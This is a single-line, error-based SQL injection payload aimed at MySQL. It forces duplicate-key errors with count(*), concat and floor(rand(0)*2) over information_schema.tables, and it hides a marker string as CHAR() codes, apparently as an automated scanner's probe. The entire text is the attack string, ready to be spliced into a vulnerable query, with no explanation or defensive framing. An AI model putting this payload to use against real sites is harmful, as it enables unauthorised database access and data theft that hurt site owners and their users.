and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(115),CHAR(100),CHAR(68),CHAR(103),CHAR(49),CHAR(90),CHAR(85),CHAR(110)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and